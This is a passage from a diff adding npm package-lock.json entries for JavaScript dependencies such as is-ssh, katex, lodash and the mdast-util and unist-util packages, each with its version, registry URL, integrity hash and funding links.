+ "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-reference": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-3.0.2.tgz", + "integrity": "sha512-v3rht/LgVcsdZa3O2Nqs+NMowLOxeOm7Ay9+/ARQ2F+qEoANRcqrjAZKGN0v8ymUetZGgkp26LTnGT7H0Qo9Pg==", + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/is-ssh": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/is-ssh/-/is-ssh-1.4.0.tgz", + "integrity": "sha512-x7+VxdxOdlV3CYpjvRLBv5Lo9OJerlYanjwFrPR9fuGPjCiNiCzFgAWpiLAohSbsnH4ZAys3SBh+hq5rJosxUQ==", + "dependencies": { + "protocols": "^2.0.1" + } + }, + "node_modules/is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsonc-parser": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.2.1.tgz", + "integrity": "sha512-AilxAyFOAcK5wA1+LeaySVBrHsGQvUFCDWXKpZjzaL0PqW+xfBOttn8GNtWKFWqneyMZj41MWF9Kl6iPWLwgOA==" + }, + "node_modules/katex": { + "version": "0.16.9", + "resolved": "https://registry.npmjs.org/katex/-/katex-0.16.9.tgz", + "integrity": "sha512-fsSYjWS0EEOwvy81j3vRA8TEAhQhKiqO+FQaKWp0m39qwOzHVBgAUBIXWj1pB+O2W3fIpNa6Y9KSKCVbfPhyAQ==", + "funding": [ + "https://opencollective.com/katex", + "https://github.com/sponsors/katex" + ], + "dependencies": { + "commander": "^8.3.0" + }, + "bin": { + "katex": "cli.js" + } + }, + "node_modules/khroma": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/khroma/-/khroma-2.1.0.tgz", + "integrity": "sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw==" + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kleur": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", + "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/layout-base": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/layout-base/-/layout-base-1.0.2.tgz", + "integrity": "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==" + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash-es": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" + }, + "node_modules/lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==" + }, + "node_modules/longest-streak": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", + "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/markdown-extensions": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/markdown-extensions/-/markdown-extensions-1.1.1.tgz", + "integrity": "sha512-WWC0ZuMzCyDHYCasEGs4IPvLyTGftYwh6wIEOULOF0HXcqZlhwRzrK0w2VUlxWA98xnvb/jszw4ZSkJ6ADpM6Q==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/markdown-table": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.3.tgz", + "integrity": "sha512-Z1NL3Tb1M9wH4XESsCDEksWoKTdlUafKc4pt0GRwjUyXaCFZ+dc3g2erqB6zm3szA2IUSi7VnPI+o/9jnxh9hw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/match-sorter": { + "version": "6.3.4", + "resolved": "https://registry.npmjs.org/match-sorter/-/match-sorter-6.3.4.tgz", + "integrity": "sha512-jfZW7cWS5y/1xswZo8VBOdudUiSd9nifYRWphc9M5D/ee4w4AoXLgBEdRbgVaxbMuagBPeUC5y2Hi8DO6o9aDg==", + "dependencies": { + "@babel/runtime": "^7.23.8", + "remove-accents": "0.5.0" + } + }, + "node_modules/mdast-util-definitions": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/mdast-util-definitions/-/mdast-util-definitions-5.1.2.tgz", + "integrity": "sha512-8SVPMuHqlPME/z3gqVwWY4zVXn8lqKv/pAhC57FuJ40ImXyBpmO5ukh98zB2v7Blql2FiHjHv9LVztSIqjY+MA==", + "dependencies": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "unist-util-visit": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-definitions/node_modules/unist-util-visit": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", + "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.1.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-definitions/node_modules/unist-util-visit-parents": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", + "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-2.2.2.tgz", + "integrity": "sha512-MTtdFRz/eMDHXzeK6W3dO7mXUlF82Gom4y0oOgvHhh/HXZAGvIQDUvQ0SuUx+j2tv44b8xTHOm8K/9OoRFnXKw==", + "dependencies": { + "@types/mdast": "^3.0.0", + "escape-string-regexp": "^5.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-find-and-replace/node_modules/unist-util-visit-parents": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", + "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-1.3.1.tgz", + "integrity": "sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==", + "dependencies": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "mdast-util-to-string": "^3.1.0", + "micromark": "^3.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-decode-string": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "unist-util-stringify-position": "^3.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-2.0.2.tgz", + "integrity": "sha512-qvZ608nBppZ4icQlhQQIAdc6S3Ffj9RGmzwUKUWuEICFnd1LVkN3EktF7ZHAgfcEdvZB5owU9tQgt99e2TlLjg==", + "dependencies": { + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-gfm-autolink-literal": "^1.0.0", + "mdast-util-gfm-footnote": "^1.0.0", + "mdast-util-gfm-strikethrough": "^1.0.0", + "mdast-util-gfm-table": "^1.0.0", + "mdast-util-gfm-task-list-item": "^1.0.0", + "mdast-util-to-markdown": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-autolink-literal": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-1.0.3.tgz", + "integrity": "sha512-My8KJ57FYEy2W2LyNom4n3E7hKTuQk/0SES0u16tjA9Z3oFkF4RrC/hPAPgjlSpezsOvI8ObcXcElo92wn5IGA==", + "dependencies": { + "@types/mdast": "^3.0.0", + "ccount": "^2.0.0", + "mdast-util-find-and-replace": "^2.0.0", + "micromark-util-character": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-footnote": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-1.0.2.tgz", + "integrity": "sha512-56D19KOGbE00uKVj3sgIykpwKL179QsVFwx/DCW0u/0+URsryacI4MAdNJl0dh+u2PSsD9FtxPFbHCzJ78qJFQ==", + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-markdown": "^1.3.0", + "micromark-util-normalize-identifier": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-strikethrough": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-1.0.3.tgz", + "integrity": "sha512-DAPhYzTYrRcXdMjUtUjKvW9z/FNAMTdU0ORyMcbmkwYNbKocDpdk+PX1L1dQgOID/+vVs1uBQ7ElrBQfZ0cuiQ==", + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-markdown": "^1.3.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-table": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-1.0.7.tgz", + "integrity": "sha512-jjcpmNnQvrmN5Vx7y7lEc2iIOEytYv7rTvu+MeyAsSHTASGCCRA79Igg2uKssgOs1i1po8s3plW0sTu1wkkLGg==", + "dependencies": { + "@types/mdast": "^3.0.0", + "markdown-table": "^3.0.0", + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-to-markdown": "^1.3.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-task-list-item": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-1.0.2.tgz", + "integrity": "sha512-PFTA1gzfp1B1UaiJVyhJZA1rm0+Tzn690frc/L8vNX1Jop4STZgOE6bxUhnzdVSB+vm2GU1tIsuQcA9bxTQpMQ==", + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-markdown": "^1.3.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-math": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-math/-/mdast-util-math-2.0.2.tgz", + "integrity": "sha512-8gmkKVp9v6+Tgjtq6SYx9kGPpTf6FVYRa53/DLh479aldR9AyP48qeVOgNZ5X7QUK7nOy4yw7vg6mbiGcs9jWQ==", + "dependencies": { + "@types/mdast": "^3.0.0", + "longest-streak": "^3.0.0", + "mdast-util-to-markdown": "^1.3.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-mdx/-/mdast-util-mdx-2.0.1.tgz", + "integrity": "sha512-38w5y+r8nyKlGvNjSEqWrhG0w5PmnRA+wnBvm+ulYCct7nsGYhFVb0lljS9bQav4psDAS1eGkP2LMVcZBi/aqw==", + "dependencies": { + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-mdx-expression": "^1.0.0", + "mdast-util-mdx-jsx": "^2.0.0", + "mdast-util-mdxjs-esm": "^1.0.0", + "mdast-util-to-markdown": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-expression": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-1.3.2.tgz", + "integrity": "sha512-xIPmR5ReJDu/DHH1OoIT1HkuybIfRGYRywC+gJtI7qHjCJp/M9jrmBEJW22O8lskDWm562BX2W8TiAwRTb0rKA==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-to-markdown": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-2.1.4.tgz", + "integrity": "sha512-DtMn9CmVhVzZx3f+optVDF8yFgQVt7FghCRNdlIaS3X5Bnym3hZwPbg/XW86vdpKjlc1PVj26SpnLGeJBXD3JA==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "ccount": "^2.0.0", + "mdast-util-from-markdown": "^1.1.0", + "mdast-util-to-markdown": "^1.3.0", + "parse-entities": "^4.0.0", + "stringify-entities": "^4.0.0", + "unist-util-remove-position": "^4.0.0", + "unist-util-stringify-position": "^3.0.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx/node_modules/unist-util-remove-position": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-4.0.2.tgz", + "integrity": "sha512-TkBb0HABNmxzAcfLf4qsIbFbaPDvMO6wa3b3j4VcEzFVaw1LBKwnW4/sRJ/atSLSzoIg41JWEdnE7N6DIhGDGQ==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-visit": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx/node_modules/unist-util-visit": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", + "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.1.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx/node_modules/unist-util-visit-parents": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-5.1.3.tgz", + "integrity": "sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx/node_modules/vfile-message": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-3.1.4.tgz", + "integrity": "sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-stringify-position": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdxjs-esm": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-1.3.1.tgz", + "integrity": "sha512-SXqglS0HrEvSdUEfoXFtcg7DRl7S2cwOXc7jkuusG472Mmjag34DUDeOJUZtl+BVnyeO1frIgVpHlNRWc2gk/w==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "mdast-util-from-markdown": "^1.0.0", + "mdast-util-to-markdown": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-phrasing": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-3.0.1.tgz", + "integrity": "sha512-WmI1gTXUBJo4/ZmSk79Wcb2HcjPJBzM1nlI/OUWA8yk2X9ik3ffNbBGsU+09BFmXaL1IBb9fiuvq6/KMiNycSg==", + "dependencies": { + "@types/mdast": "^3.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast": { + "version": "13.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.1.0.tgz", + "integrity": "sha512-/e2l/6+OdGp/FB+ctrJ9Avz71AN/GRH3oi/3KAx/kMnoUsD6q0woXlDT8lLEeViVKE7oZxE7RXzvO3T8kF2/sA==", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@ungap/structured-clone": "^1.0.0", + "devlop": "^1.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "trim-lines": "^3.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast/node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/mdast-util-to-hast/node_modules/@types/mdast": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.3.tgz", + "integrity": "sha512-LsjtqsyF+d2/yFOYaN22dHZI1Cpwkrj+g06G8+qtUKlhovPW89YhqSnfKtMbkgmEtYpH2gydRNULd6y8mciAFg==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/mdast-util-to-hast/node_modules/@types/unist": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.2.tgz", + "integrity": "sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==" + }, + "node_modules/mdast-util-to-hast/node_modules/micromark-util-character": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.0.tgz", + "integrity": "sha512-KvOVV+X1yLBfs9dCBSopq/+G1PcgT3lAK07mC4BzXi5E7ahzMAF8oIupDDJ6mievI6F+lAATkbQQlQixJfT3aQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/mdast-util-to-hast/node_modules/micromark-util-encode": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.0.tgz", + "integrity": "sha512-pS+ROfCXAGLWCOc8egcBvT0kf27GoWMqtdarNfDcjb6YLuV5cM3ioG45Ys2qOVqeqSbjaKg72vU+Wby3eddPsA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/mdast-util-to-hast/node_modules/micromark-util-sanitize-uri": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.0.tgz", + "integrity": "sha512-WhYv5UEcZrbAtlsnPuChHUAsu/iBPOVaEVsntLBIdpibO0ddy8OzavZz3iL2xVvBZOpolujSliP65Kq0/7KIYw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/mdast-util-to-hast/node_modules/micromark-util-symbol": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.0.tgz", + "integrity": "sha512-8JZt9ElZ5kyTnO94muPxIGS8oyElRJaiJO8EzV6ZSyGQ1Is8xwl4Q45qU5UOg+bGH4AikWziz0iN4sFLWs8PGw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/mdast-util-to-hast/node_modules/micromark-util-types": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.0.tgz", + "integrity": "sha512-oNh6S2WMHWRZrmutsRmDDfkzKtxF+bc2VxLC9dvtrDIRFln627VsFP6fLMgTryGDljgLPjkrzQSDcPrjPyDJ5w==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/mdast-util-to-hast/node_modules/unist-util-position": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", + "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast/node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast/node_modules/vfile": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.1.tgz", + "integrity": "sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-1.5.0.tgz", + "integrity": "sha512-bbv7TPv/WC49thZPg3jXuqzuvI45IL2EVAr/KxF0BSdHsU0ceFHOmwQn6evxAh1GaoK/6GQ1wp4R4oW2+LFL/A==", + "dependencies": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "longest-streak": "^3.0.0", + "mdast-util-phrasing": "^3.0.0", + "mdast-util-to-string": "^3.0.0", + "micromark-util-decode-string": "^1.0.0", + "unist-util-visit": "^4.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown/node_modules/unist-util-visit": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", + "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", + "dependencies": { + "@types/unist": "^2.0.0", + "unist-util-is": "^5.0.0", + "unist-util-visit-parents": "^5.1.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown/node_modules/unist-util-visit-parents": { + "version": "5.1.3", + "resolved": 